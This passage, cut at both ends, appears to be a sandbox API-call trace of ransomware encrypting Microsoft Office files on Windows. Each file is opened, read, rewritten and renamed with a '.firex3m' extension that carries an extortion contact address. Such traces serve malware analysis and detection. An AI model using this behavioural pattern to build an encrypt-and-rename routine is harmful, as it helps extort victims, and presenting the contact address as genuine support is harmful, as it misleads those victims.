lpOverlapped=0x0) returned 1 [0164.102] GetProcessHeap () returned 0x630000 [0164.102] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0164.102] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.103] WriteFile (in: hFile=0x714, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.103] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.386] WriteFile (in: hFile=0x714, lpBuffer=0x727ae4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae4f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.388] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.388] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.388] CloseHandle (hObject=0x714) returned 1 [0165.388] GetProcessHeap () returned 0x630000 [0165.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0165.388] GetProcessHeap () returned 0x630000 [0165.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0165.388] GetProcessHeap () returned 0x630000 [0165.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x288790ee, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x982f4, dwReserved0=0x9187496, dwReserved1=0x7264618, cFileName="WINWORD.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIA07D~1.FIR")) returned 0x6d5040 [0165.389] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0165.389] Sleep (dwMilliseconds=0x1) [0165.401] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.401] GetProcessHeap () returned 0x630000 [0165.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be0) returned 0x707d3d0 [0165.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0166.657] CloseHandle (hObject=0x69c) returned 1 [0166.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11460, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0170.926] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0170.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0170.926] GetProcessHeap () returned 0x630000 [0170.926] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73cc2c0 [0170.926] GetProcessHeap () returned 0x630000 [0170.927] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73d76f0 [0170.927] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.927] ReadFile (in: hFile=0x69c, lpBuffer=0x73cc2c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73cc2c0*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.119] GetProcessHeap () returned 0x630000 [0180.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0180.119] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.119] WriteFile (in: hFile=0x69c, lpBuffer=0x73d76f0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d76f0*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.120] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.120] WriteFile (in: hFile=0x69c, lpBuffer=0x73e2aef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73e2aef*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.120] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.120] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.120] CloseHandle (hObject=0x69c) returned 1 [0180.120] GetProcessHeap () returned 0x630000 [0180.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d76f0 | out: hHeap=0x630000) returned 1 [0180.120] GetProcessHeap () returned 0x630000 [0180.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73cc2c0 | out: hHeap=0x630000) returned 1 [0180.123] GetProcessHeap () returned 0x630000 [0180.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0180.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x314fa7a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11484, dwReserved0=0x9187496, dwReserved1=0x73cc2b8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0180.124] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0180.124] Sleep (dwMilliseconds=0x1) [0182.149] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr", len=0x46 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr") returned 1 [0182.149] GetProcessHeap () returned 0x630000 [0182.149] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a84) returned 0x707d3d0 [0182.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0182.150] CloseHandle (hObject=0x710) returned 1 [0182.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30430, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE41B1~1.FIR")) returned 0x6d52c0 [0182.151] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0182.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0182.151] GetProcessHeap () returned 0x630000 [0182.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x741b010 [0182.151] GetProcessHeap () returned 0x630000 [0182.151] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7426440 [0182.152] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.152] ReadFile (in: hFile=0x710, lpBuffer=0x741b010, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x741b010*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0188.361] GetProcessHeap () returned 0x630000 [0188.361] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0188.361] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.361] WriteFile (in: hFile=0x710, lpBuffer=0x7426440*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7426440*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0188.362] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.362] WriteFile (in: hFile=0x710, lpBuffer=0x743183f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743183f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.462] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.463] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.463] CloseHandle (hObject=0x710) returned 1 [0190.463] GetProcessHeap () returned 0x630000 [0190.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7426440 | out: hHeap=0x630000) returned 1 [0190.463] GetProcessHeap () returned 0x630000 [0190.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x741b010 | out: hHeap=0x630000) returned 1 [0190.463] GetProcessHeap () returned 0x630000 [0190.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0190.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x377a01ec, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x30454, dwReserved0=0x9187496, dwReserved1=0x741b008, cFileName="TellMeOutlook.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE41B1~1.FIR")) returned 0x6d4e40 [0190.463] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0190.464] Sleep (dwMilliseconds=0x1) [0192.025] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX", len=0x50 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX") returned 1 [0192.025] GetProcessHeap () returned 0x630000 [0192.025] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45ac) returned 0x74656a8 [0192.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0193.627] CloseHandle (hObject=0x3f8) returned 1 [0193.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.347] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29a3769, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x29a3769, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x29a3769, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4fb39, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~4.FIR")) returned 0x6d5000 [0195.348] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0195.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\wrkflo_m.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0195.348] GetProcessHeap () returned 0x630000 [0195.348] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0195.348] GetProcessHeap () returned 0x630000 [0195.348] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0195.348] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.348] ReadFile (in: hFile=0x3f8, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.868] GetProcessHeap () returned 0x630000 [0201.868] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0201.868] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.868] WriteFile (in: hFile=0x3f8, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0201.870] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.870] WriteFile (in: hFile=0x3f8, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.876] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.876] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.876] CloseHandle (hObject=0x3f8) returned 1 [0201.876] GetProcessHeap () returned 0x630000 [0201.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0201.876] GetProcessHeap () returned 0x630000 [0201.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0201.876] GetProcessHeap () returned 0x630000 [0201.876] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0201.876] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x29a3769, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x29a3769, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3e471151, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4fb5d, dwReserved0=0x9187496, dwReserved1=0x6ee88b0, cFileName="WRKFLO_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WRKFLO~4.FIR")) returned 0x6d4f80 [0201.877] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0201.877] Sleep (dwMilliseconds=0x1) [0201.890] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl", len=0x79 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl") returned 1 [0201.890] GetProcessHeap () returned 0x630000 [0201.890] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c04) returned 0x7133a90 [0201.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0201.891] CloseHandle (hObject=0x6d4) returned 1 [0201.891] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0201.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql90.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0201.892] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.892] FindFirstFileW (in: 